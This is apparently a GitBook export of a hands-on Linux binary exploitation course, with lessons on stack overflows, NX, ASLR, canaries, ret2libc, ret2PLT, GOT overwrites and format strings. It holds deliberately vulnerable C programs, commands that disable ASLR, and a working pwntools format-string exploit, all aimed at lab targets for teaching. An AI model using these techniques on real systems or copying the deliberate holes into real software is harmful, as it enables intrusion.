arrow-left

All pages
gitbookPowered by GitBook
1 of 12

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Linux Kernel Exploitation

The course is designed as a continuation of the Windows Exploit Development workshops by the people at Exploit Development Intro and some pre-requisite knowledge is expected of the following topics:

  1. An Understanding of x86-64 Assembly

  2. Familiarity with GDB

  3. Familiarity with C and Python

  4. Familiarity with the Standard Jump to Shellcode Exploits

Please do view this 15 minute '' video as a refresher. If you have time, please go through the for the video.

Introduction to Return Oriented Programmingarrow-up-right
lesson planarrow-up-right

1. Setting Up the Environment

hashtag
Setting Up the Environment

We will be using vagrant to standardise the environment so following the lesson plan is easy. The Vagrantfile will provision the appropriate pre-requisites but please go through this document to get an understanding of the steps required to prepare the testing environment.

hashtag
Mandatory Steps

First, install vagrant and virtualbox. Vagrant can be downloaded from . Virtualbox can be downloaded from .

Next, clone the repository onto your host machine. If you have messed up somewhere along the course and want to revert the state of the repository, just delete the entire directory and perform this step again.

Now, bring the vagrant box up.

Once the provisioning finishes, you can ssh into the vagrant box.

The course repository directory you clone previously will be mounted at /vagrant so you can use your preferred text editor.

Now, we need to start the docker containers for the exercises you will be working on. To do this, perform the following steps:

You do not need to rebuild the docker containers after you have built them once but you may need to redeploy the docker containers if you restart the machine.

hashtag
Windows Users

For Windows users there are two options:

  1. Start a virtual machine containing Ubuntu 16.04 and run the provisioning script found below. Next, manually clone the course repository into the machine. Note that directory locations may be different from the code listings in the course if you go down this route. The choice of virtualisation software you choose is up to you.

  2. Install Vagrant and Virtualbox for Windows. This allows you to follow the instructions above almost identically.

One caveat with Option 2 is that your Windows Installation might not have SSH installed previously. When you invoke vagrant ssh, you might receive a message as follows:

In that case, simply follow the instructions to SSH into the newly provisioned system with an SSH client of your choice such as Putty or SmarTTY.

hashtag
What Was Installed?

This is the entire provisioning script:

If you used vagrant to bring the machine up, this should have been done for you.

4. Linux Binary Protections

hashtag
Linux Binary Protections

There are three classes of protection we will be discussing in this section.

  1. No eXecute Bit

  2. Address Space Layout Randomisation

  3. Stack Canaries

We will discuss this using visualisations of how a classic exploitation technique attempt is stopped by the properties of each of the protections.

hashtag
Classic Exploitation Illustration

First let's visualise how the stack looks like before a buffer is read into:

For clarification, the value of the saved base pointer is 0xbfff0030 and the value of the return address is 0x080484f0 (an address within the binary). The numbers are reversed in the visualisation because x86 is a little endian architecture.

On a valid run of the program, the buffer is filled within its bounds. Here we have 15 As and a null byte written to the 16 length buffer.

However, since the read allows for the program to read more than 16 bytes into the buffer, we can overflow it and overwrite the saved return pointer.

When the function returns, the program will crash since the instruction pointer is set to 0x41414141, an invalid address.

To complete the technique, the attacker will fill the first part of the buffer with the shellcode, append the appropriate padding and overwrite the saved return pointer with the address of the buffer.

Now, when the function returns, the program will begin executing the shellcode contained in the buffer since the saved return pointer was overwritten by the buffer address (0xbfff0000). From this point onwards, the attacker has achieved arbitrary code execution.

hashtag
ASLR, NX, and Stack Canaries

Now that we understand how the classic exploitation technique works, let us start introducing protections and observing how they prevent the technique from working.

hashtag
No eXecute (NX)

Also known as Data Execution Prevention (DEP), this protection marks writable regions of memory as non-executable. This prevents the processor from executing in these marked regions of memory.

If we look at the memory map of a program compiled with NX protection, the stack and heap are typically marked non-executable.

In the following diagrams, we will be introducing a new indicator colour for the memory regions to denote 'writable and non-executable' mapped regions. Firstly, the stack before the read occurs looks like this:

When we perform the same attack, the buffer is overrun and the saved pointers are overwritten once again.

After the function returns, the program will set the instruction pointer to 0xbfff0000 and attempt to execute the instructions at that address. However, since the region of memory mapped at that address has no execution permissions, the program will crash.

Thus, the attacker's exploit is thwarted.

hashtag
Address Space Layout Randomisation

This protection randomises the addresses of the memory regions where the shared libraries, stack, and heap are mapped at. The reason for this is to frustrate an attacker since they cannot predict with certainty where their payload is located at and the exploit will not work reliably.

On the first run of the program, the stack looks like this just before the read:

If we terminate the program and run it again, the stack might look like this before the read:

Notice how the stack addresses do not stay constant and now have their base values randomised. Now, the attacker attempts to re-use their payload from the classic technique.

Notice that the saved return pointer is overwritten with a pointer into the stack at an unknown location where the data is unknown and non-user controlled. When the function returns, the program will begin executing unknown instructions at that address (0xbfff0000) and will most likely crash.

Thus, it is impossible for an attacker to be able to reliably trigger the exploit using the standard payload.

hashtag
Stack Canaries

This protection places a randomised guard value after a stack frame's local variables and before the saved return address. When a function returns, this guard value is checked and if it differs from the value provided by a secure source, then the program is terminated.

In the following stack diagram, an additional stack canary is added right after the buffer. The valid value of this stack canary is 0x01efcdab.

Now, the attacker attempts their exploit with the standard payload again. The stack diagram looks like this after the read:

Notice that the stack canary has been overwritten and corrupted by the padding of 'A's (0x41). The value of the canary is now 0x41414141. Before the function returns, the canary is xored against the value of the 'master' canary. If the result is 0, implying equality, then the function is allowed to return. Otherwise, the program terminates itself. In this case, the program fails the check, prints a warning message, and exits.

Thus, the attacker is not even able to redirect control flow and the exploit fails.

this linkarrow-up-right
herearrow-up-right
amon@bethany:~$ git clone https://github.com/nnamon/linux-exploitation-course.git
Cloning into 'linux-exploitation-course'...
remote: Counting objects: 19, done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 19 (delta 2), reused 15 (delta 1), pack-reused 0
Unpacking objects: 100% (19/19), done.
Checking connectivity... done.
amon@bethany:~$
amon@bethany:~/sproink/linux-exploitation-course$ vagrant up
Bringing machine 'default' up with 'virtualbox' provider...
==> default: Importing base box 'ubuntu/xenial64'...
==> default: Matching MAC address for NAT networking...
==> default: Checking if box 'ubuntu/xenial64' is up to date...
==> default: Setting the name of the VM: linux-exploitation-course_default_1483872823092_95278
==> default: Clearing any previously set network interfaces...
==> default: Preparing network interfaces based on configuration...
    default: Adapter 1: nat
==> default: Forwarding ports...
    default: 22 (guest) => 2222 (host) (adapter 1)
==> default: Running 'pre-boot' VM customizations...
==> default: Booting VM...
==> default: Waiting for machine to boot. This may take a few minutes...
    default: SSH address: 127.0.0.1:2222
    default: SSH username: ubuntu
    default: SSH auth method: password
    default:
    default: Inserting generated public key within guest...
    default: Removing insecure key from the guest if it's present...
    default: Key inserted! Disconnecting and reconnecting using new SSH key...
... snip ...
amon@bethany:~/linux-exploitation-course$ vagrant ssh
Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-57-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  Get cloud support with Ubuntu Advantage Cloud Guest:
    http://www.ubuntu.com/business/services/cloud

0 packages can be updated.
0 updates are security updates.


ubuntu@ubuntu-xenial:~$ ls -la
total 28
drwxr-xr-x 4 ubuntu ubuntu 4096 Jan  8 10:54 .
drwxr-xr-x 3 root   root   4096 Jan  8 10:54 ..
-rw-r--r-- 1 ubuntu ubuntu  220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Aug 31  2015 .bashrc
drwx------ 2 ubuntu ubuntu 4096 Jan  8 10:54 .cache
-rw-r--r-- 1 ubuntu ubuntu  655 Jun 24  2016 .profile
drwx------ 2 ubuntu ubuntu 4096 Jan  8 10:54 .ssh
-rw-r--r-- 1 ubuntu ubuntu    0 Jan  8 10:54 .sudo_as_admin_successful
ubuntu@ubuntu-xenial:~$
ubuntu@ubuntu-xenial:/vagrant$ ./builddocker.sh
Building lessons/3_intro_to_tools/services/gdbreversing
Sending build context to Docker daemon 16.38 kB
Step 1 : FROM ubuntu:latest
 ---> 104bec311bcd
 ... snip ...
Step 17 : CMD /usr/sbin/xinetd -d
 ---> Using cache
 ---> 257fc44d2439
Successfully built 257fc44d2439
ubuntu@ubuntu-xenial:/vagrant$ ./deploydocker.sh
Stopping all docker containers.
b70d9d49b7b9
... snip ...
432be332c15e037a3b0c2bc7465db673e8777bce0b0fe823cfbc8161eeeaf066
ubuntu@ubuntu-xenial:/vagrant$
D:\linux-exploitation-course>vagrant ssh
`ssh` executable not found in any directories in the %PATH% variable. Is an
SSH client installed? Try installing Cygwin, MinGW or Git, all of which
contain an SSH client. Or use your favorite SSH client with the following
authentication information shown below:

Host: 127.0.0.1
Port: 2222
Username: ubuntu
Private key:
D:/linux-exploitation-course/.vagrant/machines/default/virtualbox/private_key
#!/bin/bash
dpkg --add-architecture i386
cp /etc/apt/sources.list /etc/apt/sources.list.old
sed -i -e 's/archive\.ubuntu\.com/mirror\.0x\.sg/g' /etc/apt/sources.list
apt-get update
apt-get install -y libc6:i386 libncurses5:i386 libstdc++6:i386 gdb python python-pip libssl-dev gcc git binutils socat apt-transport-https ca-certificates libc6-dev-i386 python-capstone libffi-dev
hash -r
pip install --upgrade pip
pip install ropgadget
pip install pwntools
pip install ipython
pip install ropper
git clone https://github.com/longld/peda.git /home/ubuntu/peda
echo "source ~/peda/peda.py" >> /home/ubuntu/.gdbinit
git clone https://github.com/niklasb/libc-database.git /home/ubuntu/libc-database
cd /home/ubuntu/libc-database
/home/ubuntu/libc-database/add /lib/i386-linux-gnu/libc.so.6
/home/ubuntu/libc-database/add /lib/x86_64-linux-gnu/libc.so.6
apt-key adv --keyserver hkp://ha.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
echo "deb https://apt.dockerproject.org/repo ubuntu-xenial main" | tee /etc/apt/sources.list.d/docker.list
apt-get update
apt-get install -y linux-image-extra-$(uname -r) linux-image-extra-virtual
apt-get install -y docker-engine
groupadd docker
usermod -aG docker ubuntu
service docker start

11. Format String Vulnerabilties

hashtag
Format String Vulnerabilties

Yes, I know this is a really cliche topic but I am just covering one cool thing that you can do with pwntools. That's all, I promise. Now, we will be looking at this simple program that is vulnerable to a format string attack. The idea is to modify the token so that it contains 0xcafebabe when the check occurs.

#include <stdio.h>
#include <stdlib.h>

unsigned int token = 0xdeadbeef;

int main() {
    char buffer[200];
    scanf("%199s", buffer);
    printf(buffer);
    printf("\nToken = 0x%x\n", token);
    if (token == 0xcafebabe) {
        puts("Winner!");
    }
    else {
        puts("Loser!");
    }
}

So after playing around with the program, we figure out that the first format argument we control is at offset 5.

Next, we need the address of the token.

Now we can write our exploit script. Pwntools actually has a format string attack generator so we can beat the binary in a few quick easy lines.

Running the program.

hashtag
Exercises

hashtag
Ex 13.1: Echoes

Before you continue onto the more advanced exercises, here's something to tackle. The source code to this challenge is given:

The binary to the exercise can be found here. The remote target is nc localhost 1903 and the goal is to get a shell.

7. ASLR in Depth

hashtag
ASLR in Depth

Actually, the title is a lie. We're not really going to discuss ASLR in that depth yet. We don't really need to. However, what we are going to do is explore the effects of ASLR on a diagnostic binary we used in the previous section.

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>


int main() {
    puts("This program helps visualise where libc is loaded.\n");
    int pid = getpid();
    char command[500];
    puts("Memory Layout: ");
    sprintf(command, "cat /proc/%d/maps", pid);
    system(command);
    puts("\nFunction Addresses: ");
    printf("System@libc 0x%lx\n", dlsym(RTLD_NEXT, "system"));
    printf("PID: %d\n", pid);
}

hashtag
ASLR Turned Off

First, make sure ASLR is turned off.

Now, play with the binaries in /vagrant/lessons/8_aslr/build/. You should notice that the addresses the objects are mapped at are more or less constant.

hashtag
ASLR Turned On

Now, turn on the ASLR.

Before repeating the previous steps on the binaries again, take a look at the output from checksec.

Notice that the last two have PIE enabled. PIE stands for Position Independent Executable. Do you notice any interesting about the results when running these binaries with ASLR turned on?

6. Bypassing NX with Ret2Libc

hashtag
Bypassing NX with Ret2Libc

We were able to pick from a wealth of ROP gadgets to construct the ROP chain in the previous section because the binary was huge. Now, what happens if the binary we have to attack is not large enough to provide us the gadgets we need?

One possible solution, since ASLR is disabled, would be to search for our gadgets in the shared libraries loaded by the program such as libc. However, if we had these addresses into libc, we could simplify our exploit to reuse useful functions. One such useful function could be the amazing system() function.

hashtag
Investigating Shared Libraries

To investigate this, we can create a diagnostic binary to introspectively look at the virtual memory map and to print us the resolved system() address. The source is as follows:

I have compiled two versions of the binary, a 32 bit version and a 64 bit version.

Running the 32 bit one:

Note the base address of libc-2-2.23.so (0xf7e10000) and the resolved address of system (0xf7e4ada0). Let's subtract the address of the base address from the address of system to get the system offset.

Take note of that offset, 0x3ada0. Next, we can disassemble the libc shared object and look for the start of the system function.

That's a bingo. Notice how the offset we calculated previously is the same as the address of __libc_system@@GLIBC_PRIVATE.

We can repeat this with the 64 bit one:

Calculating the difference.

Finding the address of system in the 64 bit libc binary.

And we have another match.

hashtag
Calculating Addresses

This is useful information as now we have a way to calculate the addresses of useful functions given the base address of libc. Since shared objects are mapped at the same location without randomisation due to ASLR being disabled, we can very easily find the addresses of useful things such as the system() function and the /bin/sh string by examining the libc shared object on its own.

To make life easier, the , provides helper scripts to build a libc database, identify versions of libc from information leaks, and dump useful offsets. In the vagrant provisioning script, I have already added the pertinent libc versions used in the exercises.

hashtag
Exploiting a Minimalist Vulnerable Binary

Let's do the opposite of what we did the last section. Instead of attacking a bloated binary, we are going to attack a really lean and mean one. Something like this:

Running the binary:

It really does not do much. Here is the skeleton exploit code to achieve EIP control.

hashtag
Exercise 7.1: Writing the Final Exploit

At this point, it is simply a matter of finding at which address is libc mapped onto and then calculating the addresses of useful functions from the offsets we dumped.

Try to obtain a shell by making the necessary additions to the skeleton code. Please attempt to do this on your own before looking at the solution.

3. Classic Exploitation Technique

hashtag
Classic Exploitation Technique

Let us revisit the classical technique of exploiting a stack overflow on a binary with no protections enabled and ASLR turned off. We will do a demonstration on a binary compiled from the following source code:

#include <unistd.h>
#include <stdio.h>

void vuln() {
    char buffer[16];
    read(0, buffer, 100);
    puts(buffer);
}

int main() {
    vuln();
}

The binary was compiled with the following flags:

Before running the binary, disable ASLR with the command:

Verify that ASLR is indeed turned off.

Also, all protections are off.

The binary is simple. It reads 100 bytes from stdin into a 16 byte character buffer and prints the contents of the buffer to the user. On a benign execution, the behaviour might look like this:

It is very easy to get the binary to crash.

Let's delve into GDB to get the offset we need to place our return address at to control EIP.

We can begin writing a skeleton for our exploit.

If we run this and attach to the spawned process, we can verify that the program will crash on the address 0x41424344.

Next, we need to figure out where should we direct execution to. This would probably be somewhere in the buffer we write to with the read() call. If we break on the call to puts(), we can get a stack address we can use as the argument.

0xffffd5f0 is the start of buffer the user input is read into. A good place to jump to would be (0xffffd5f0 + 28 + 4). This lets us put our shellcode right after the return address. To begin with, we can test out strategy by filling that space with 'int 3' instructions (0xcc).

Now, we can run this, attach our debugger to the process and see if it breaks.

Taking some shellcode from Aleph One's 'Smashing the Stack for Fun and Profit':

Putting it all together:

Running the script.

Note that you might have to adjust the return address as the one on this machine might not match up to the one on your machines.

10. Multi-Stage Exploits

hashtag
Multi-Stage Exploits

In this section, we will look at crafting a more complicated exploit that relies on multiple stages. Surprisingly, the vulnerable target we are looking at is the most simple of all the ones we have seen so far. It is precisely the lack of flexibility we have with such a simple target that forces us to adopt a more sophiscated exploit strategy.

It is very simple. It simply echoes your input. It is vulnerable to a standard buffer overflow but ASLR and NX are enabled which means the only things you have to work with is read, write, and the gadgets that are present in the tiny binary.

hashtag
Crafting the Exploit Step by Step

First, as we always do, we need a skeleton script to give us our EIP control.

Next, we would like to try and leak a libc address. We can achieve this by creating fake stack frames that execute write(STDOUT, write@got, 4). This will print 4 bytes of the write@got address to stdout which we can receive on our exploit script.

This works easily enough to get us that leak.

hashtag
The Killing Blow

Now, remember that what we are doing is creating a rop chain with these PLT stubs. However, if we just return into functions after functions, it is not going to work very well since the parameters on the stack are not cleaned up. We have to handle that somehow.

This is where the pop pop ret gadgets come in. They allow us to advance the stack and make sure our faked stack frames are coherent. We need a pop pop pop ret sequence because our write call had 3 parameters.

What should we do next then? What we want to do is overwrite a GOT entry so that we can execute system. Now, we can leverage the fact that a read call is basically an arbitrary write primitive. So our entire rop chain sequence would look something like this:

  1. write(1, write@got, 4) - Leaks the libc address of write

  2. read(0, write@got, 4) - Read 4 bytes of input from us into the write GOT entry.

  3. system(some_cmd)

Now, of course we have a possible issue. Since our ROP chain would have to include the address of the command on the first read, we have two choices:

  1. Expend another read sequence to write "/bin/sh" somewhere in memory

  2. Use an alternative command (such as ed)

Option 1 is not feasible as it takes 20 bytes to construct a frame for read. This is a heavily cost when we only have 72 bytes to play with. So, we have to go with Option 2 which is easy enough to get.

With all of the information in hand, we can write our exploit:

Running the exploit:

9. Bypassing ASLR/NX with GOT Overwrite

hashtag
Bypassing ASLR/NX with GOT Overwrite

In this section, we will take a closer look at the Global Offset Table. In the previous section, we learnt how to use jumping to the PLT stubs as a technique to reuse functions in libc. When jumping to PLT, the GOT entry for that corresponding function acted as a malleable space where the dynamic address would be held. We shall exploit that malleability.

Now, let's depart from the standard paradigm of stack overflows for the moment. We shall begin looking at vulnerable programs that allow for write-what-where primitives, albeit in a limited fashion.

Our first simple example is the following:

The program is vulnerable in two ways:

  1. It provides an information leak opportunity when the now_playing.album pointer is overwritten and the album name is printed.

  2. It provides a write what where primitive when the now_playing.album pointer is overwritten and input is provided to the second prompt.

Running the binary:

It's a little screwy but nothing that fancy yet. Let's begin by trying to achieve the first vulnerable condition (arbitrary read). First, we can take an easy to spot target to leak. We can use the "This is a Jukebox" string. First, we need to figure out its address.

Now, here's a skeleton exploit that will demonstrate the leaking of that string.

Testing it out:

See the "(This is a Jukebox)"? That means it worked. Now, what we are most interested in are mostly pointers. So let's make a small addition that would parse the leak and transform it into a nice number for us.

Running it:

Awesome, now we can begin thinking about our exploit.

hashtag
GOT Overwrite Strategy

At the moment, we do not have a target to leak and to overwrite. We must be careful to pick a suitable one because the information leak and arbitrary write has to be performed on the same address. Additionally, the write has to result in EIP control at some point of the program's execution since we do not have that yet.

If we take a look at the source code again, the following function is called last:

Interestingly, this is perfect for our uses. If we leak the address of puts in libc, we can calculate the address of the libc base and subsequently, the address of the system function. Also, once we have that, we can write the address of the system function into the puts@got entry so that when this final line executes, it will actually execute:

Which means that system will be called with a parameter that we control! How convenient!

hashtag
Writing the Exploit

First, let's see if we can leak the address of puts@got. First, we need the address.

Now, we can modify our earlier iterations of the exploit.

Running the script gives us a sanity check that we are reading the right thing.

Now, let's try and get EIP control. This should be as simple as sending four bytes.

It works, the program crashed at 0xdeadc0de.

Let's gather our offsets and we can write our final exploit script.

Final exploit script:

Getting our shell:

hashtag
Exercises

hashtag
Ex 10.1: Event 1

After the mistakes of the previous Event, Kaizen has decided to secure his system. Can you find a way to exploit the new binary?

It was compiled with a stack canary.

gcc -m32 -znoexecstack -o ./build/2_event1 ./src/2_event1.c

The binary can be found here and the source can be found here. The remote target is nc localhost 1902.

The solution script may be found here.

8. Bypassing ASLR/NX with Ret2PLT

hashtag
Bypassing ASLR/NX with Ret2PLT

Before beginning this section, please ensure you have re-enabled ASLR. You can do this by running the following command.

Finally, we have two protections enabled: ASLR and NX. To start off, this will be our first target for the section:

Running the binary:

Now that ASLR has been enabled, we have a problem. We no longer can be sure where the libc will be mapped at. However, that begs the question: how does the binary know where the address of anything is now that they are randomised? The answer lies in something called the Global Offset Table and the Procedure Linkage Table.

hashtag
Global Offset Table

To handle functions from dynamically loaded objects, the compiler assigns a space to store a list of pointers in the binary. Each slot of the pointers to be filled in is called a 'relocation' entry. This region of memory is marked readable to allow for the values for the entries to change during runtime.

We can take a look at the '.got' segment of the clock binary with readelf.

Let's take the read entry in the GOT as an example. If we hop onto gdb, and open the binary in the debugger without running it, we can examine what is in the GOT initially.

It actually turns out that that value is an address within the Procedure Linkage Table. This actually is part of the mechanic to perform lazy binding. Lazy binding allows the binary to only resolve its dynamic addresses when it needs o.

If we run it and break just before the program ends, we can see that the value in the GOT is completely different and now points somewhere in libc.

hashtag
Procedure Linkage Table

When you use a libc function in your code, the compiler does not directly call that function but calls a PLT stub instead. Let's take a look at the disassembly of the read function in PLT.

Here's what's going on here when the function is run for the first time:

  1. The read@plt function is called.

  2. Execution reaches jmp DWORD PTR ds:0x804a00c and the memory address 0x804a00c is dereferenced and is jumped to. If that value looks familiar, it is. It was the address of the GOT entry of read.

The details of this will be important for the next section but for now, the crucial characteristic of the PLT stub is that it is part of the binary and will be mapped at a static address. Thus, we can use the stub as a target when constructing our exploit.

hashtag
Writing the Exploit

As per usual, here is the skeleton code to obtain EIP control of the binary.

Let's look at the available PLT stubs to choose from.

We are in luck, because system@plt is a powerful function we can definitely use. That's one out of two things we need. The second thing is a command we can execute. Normally, we would use "/bin/sh" but it does not seem we would find that here.

Take a moment to figure out a target before taking a look at the answers.

It turns out that ed is a valid Linux command. It actually spawns a minimalistic editor. It also turns out that there is an "ed" string available in the binary. Can you spot it?

If we take the last two characters of the string "The sheep are blue, but you see red" or "_IO_stdin_used", we can get that "ed" we are looking for.

Putting our parts together, we can come up with this final exploit.

But, now you might ask, if all we are going to spawn is a line based text editor, then how are we going to get our shell? As it so happens, the ed program can actually run commands!

hashtag
Exercises

Please do these exercises without looking at the solution.

hashtag
Ex 9.1: Event 0

Let's start doing some difficult exercises. Here is event0. Try to solve this problem using the Ret2PLT technique.

The binary can be found here. And the remote target is at nc localhost 1901.

If you get stuck, you can look at the following solution scripts in order of completeness.

  1. Skeleton

  2. Local POC

  3. Remote POC

ubuntu@ubuntu-xenial:/vagrant/lessons/13_fmt_str/scripts$ ../build/2_overwrite
AAAA%5$x
AAAA41414141
Token = 0xdeadbeef
Loser!
ubuntu@ubuntu-xenial:/vagrant/lessons/13_fmt_str/scripts$ nm ../build/2_overwrite | grep token
0804a028 D token
gcc -m32 -fno-stack-protector -zexecstack -o ./build/1_vulnerable ./src/1_vulnerable.c
ubuntu@ubuntu-xenial:/vagrant$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0
#include <unistd.h>
#include <stdio.h>

void vuln() {
    char buffer[16];
    read(0, buffer, 100);
    write(1, buffer, 16);
}

int main() {
    vuln();
}
ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/scripts$ echo 2 |
sudo tee /proc/sys/kernel/randomize_va_space
2
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

void show_time() {
    system("date");
    system("cal");
}

void vuln() {
    char buffer[64];
    read(0, buffer, 92);
    printf("Your name is %s\n", buffer);
}

int main() {
    puts("Welcome to the Matrix.");
    puts("The sheep are blue, but you see red");
    vuln();
    puts("Time is very important to us.");
    show_time();
}
amon@bethany:~/sproink/linux-exploitation-course/lessons/9_bypass_ret2plt$ ./build/1_clock
Welcome to the Matrix.
The sheep are blue, but you see red
AAAA
Your name is AAAA

Time is very important to us.
Fri Jan 13 22:33:13 SGT 2017
    January 2017
Su Mo Tu We Th Fr Sa
 1  2  3  4  5  6  7
 8  9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
#!/usr/bin/python

from pwn import *

token_addr = 0x0804a028

def main():
    p = process("../build/2_overwrite")
    payload = fmtstr_payload(5, {token_addr: 0xcafebabe})
    log.info("Sending payload: %s" % payload)
    p.sendline(payload)

    data = p.recvall()
    realdata = data[data.find("Token"):]
    log.success(realdata)

if __name__ == "__main__":
    main()
ubuntu@ubuntu-xenial:/vagrant/lessons/8_aslr/build$ echo 0 | sudo tee
/proc/sys/kernel/randomize_va_space
0
'libc-database' toolset by Niklas Baumstarkarrow-up-right
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ldd ./1_vulnerable
	linux-gate.so.1 =>  (0xf7ffd000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e39000)
	/lib/ld-linux.so.2 (0x56555000)
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ldd ./1_vulnerable
	linux-gate.so.1 =>  (0xf7ffd000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e39000)
	/lib/ld-linux.so.2 (0x56555000)
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ldd ./1_vulnerable
	linux-gate.so.1 =>  (0xf7ffd000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e39000)
	/lib/ld-linux.so.2 (0x56555000)
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$
- Execute a command of ours and hopefully get shell
Since the GOT contained the value 0x08048346 initially, execution jumps to the next instruction of the read@plt function because that's where it points to.
  • The dynamic loader is called which overwrites the GOT with the resolved address.

  • Execution continues at the resolved address.

  • ubuntu@ubuntu-xenial:/vagrant/lessons/13_fmt_str/scripts$ python 1_overwrite_token.py
    [+] Starting local process '../build/2_overwrite': Done
    [*] Sending payload: (�)�*�+�%174c%5$hhn%252c%6$hhn%68c%7$hhn%204c%8$hhn
    [▁] Receiving all data: 0B
    [+] Receiving all data: Done (742B)
    [+] Token = 0xcafebabe
        Winner!
    #include <stdlib.h>
    #include <stdio.h>
    #include <unistd.h>
    
    int main() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
        char echoed[1000] = {0};
        char number[200];
        int times;
        int i;
        while (1) {
            read(0, echoed, 999);
            puts("How many times do you want it echoed?");
            scanf("%199s", number);
            times = atoi(number);
            for (i = 0; i < times; i++) {
                printf(echoed);
            }
        }
    }
    ubuntu@ubuntu-xenial:/vagrant/lessons/8_aslr/build$ ./1_reveal_addresses
    This program helps visualise where libc is loaded.
    
    Memory Layout:
    08048000-08049000 r-xp 00000000 00:28 161
    /vagrant/lessons/8_aslr/build/1_reveal_addresses
    08049000-0804a000 r--p 00000000 00:28 161
    /vagrant/lessons/8_aslr/build/1_reveal_addresses
    0804a000-0804b000 rw-p 00001000 00:28 161
    /vagrant/lessons/8_aslr/build/1_reveal_addresses
    0804b000-0806c000 rw-p 00000000 00:00 0                                  [heap]
    f7e0f000-f7e10000 rw-p 00000000 00:00 0
    f7e10000-f7fbf000 r-xp 00000000 08:01 256310
    /lib/i386-linux-gnu/libc-2.23.so
    f7fbf000-f7fc0000 ---p 001af000 08:01 256310
    /lib/i386-linux-gnu/libc-2.23.so
    f7fc0000-f7fc2000 r--p 001af000 08:01 256310
    /lib/i386-linux-gnu/libc-2.23.so
    f7fc2000-f7fc3000 rw-p 001b1000 08:01 256310
    /lib/i386-linux-gnu/libc-2.23.so
    f7fc3000-f7fc6000 rw-p 00000000 00:00 0
    f7fc6000-f7fc9000 r-xp 00000000 08:01 256309
    /lib/i386-linux-gnu/libdl-2.23.so
    f7fc9000-f7fca000 r--p 00002000 08:01 256309
    /lib/i386-linux-gnu/libdl-2.23.so
    f7fca000-f7fcb000 rw-p 00003000 08:01 256309
    /lib/i386-linux-gnu/libdl-2.23.so
    f7fd4000-f7fd6000 rw-p 00000000 00:00 0
    f7fd6000-f7fd8000 r--p 00000000 00:00 0                                  [vvar]
    f7fd8000-f7fd9000 r-xp 00000000 00:00 0                                  [vdso]
    f7fd9000-f7ffb000 r-xp 00000000 08:01 256300
    /lib/i386-linux-gnu/ld-2.23.so
    f7ffb000-f7ffc000 rw-p 00000000 00:00 0
    f7ffc000-f7ffd000 r--p 00022000 08:01 256300
    /lib/i386-linux-gnu/ld-2.23.so
    f7ffd000-f7ffe000 rw-p 00023000 08:01 256300
    /lib/i386-linux-gnu/ld-2.23.so
    fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]
    
    Function Addresses:
    System@libc 0xf7e4ada0
    PID: 4452
    ubuntu@ubuntu-xenial:/vagrant/lessons/8_aslr/build$ ./4_reveal_addresses64_pie
    This program helps visualise where libc is loaded.
    
    Memory Layout:
    555555554000-555555555000 r-xp 00000000 00:28 158
    /vagrant/lessons/8_aslr/build/4_reveal_addresses64_pie
    555555754000-555555755000 r--p 00000000 00:28 158
    /vagrant/lessons/8_aslr/build/4_reveal_addresses64_pie
    555555755000-555555756000 rw-p 00001000 00:28 158
    /vagrant/lessons/8_aslr/build/4_reveal_addresses64_pie
    555555756000-555555777000 rw-p 00000000 00:00 0                          [heap]
    7ffff780a000-7ffff79c9000 r-xp 00000000 08:01 2068
    /lib/x86_64-linux-gnu/libc-2.23.so
    7ffff79c9000-7ffff7bc9000 ---p 001bf000 08:01 2068
    /lib/x86_64-linux-gnu/libc-2.23.so
    7ffff7bc9000-7ffff7bcd000 r--p 001bf000 08:01 2068
    /lib/x86_64-linux-gnu/libc-2.23.so
    7ffff7bcd000-7ffff7bcf000 rw-p 001c3000 08:01 2068
    /lib/x86_64-linux-gnu/libc-2.23.so
    7ffff7bcf000-7ffff7bd3000 rw-p 00000000 00:00 0
    7ffff7bd3000-7ffff7bd6000 r-xp 00000000 08:01 2067
    /lib/x86_64-linux-gnu/libdl-2.23.so
    7ffff7bd6000-7ffff7dd5000 ---p 00003000 08:01 2067
    /lib/x86_64-linux-gnu/libdl-2.23.so
    7ffff7dd5000-7ffff7dd6000 r--p 00002000 08:01 2067
    /lib/x86_64-linux-gnu/libdl-2.23.so
    7ffff7dd6000-7ffff7dd7000 rw-p 00003000 08:01 2067
    /lib/x86_64-linux-gnu/libdl-2.23.so
    7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 2051
    /lib/x86_64-linux-gnu/ld-2.23.so
    7ffff7fea000-7ffff7fed000 rw-p 00000000 00:00 0
    7ffff7ff6000-7ffff7ff8000 rw-p 00000000 00:00 0
    7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0                          [vvar]
    7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]
    7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 2051
    /lib/x86_64-linux-gnu/ld-2.23.so
    7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 2051
    /lib/x86_64-linux-gnu/ld-2.23.so
    7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
    7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
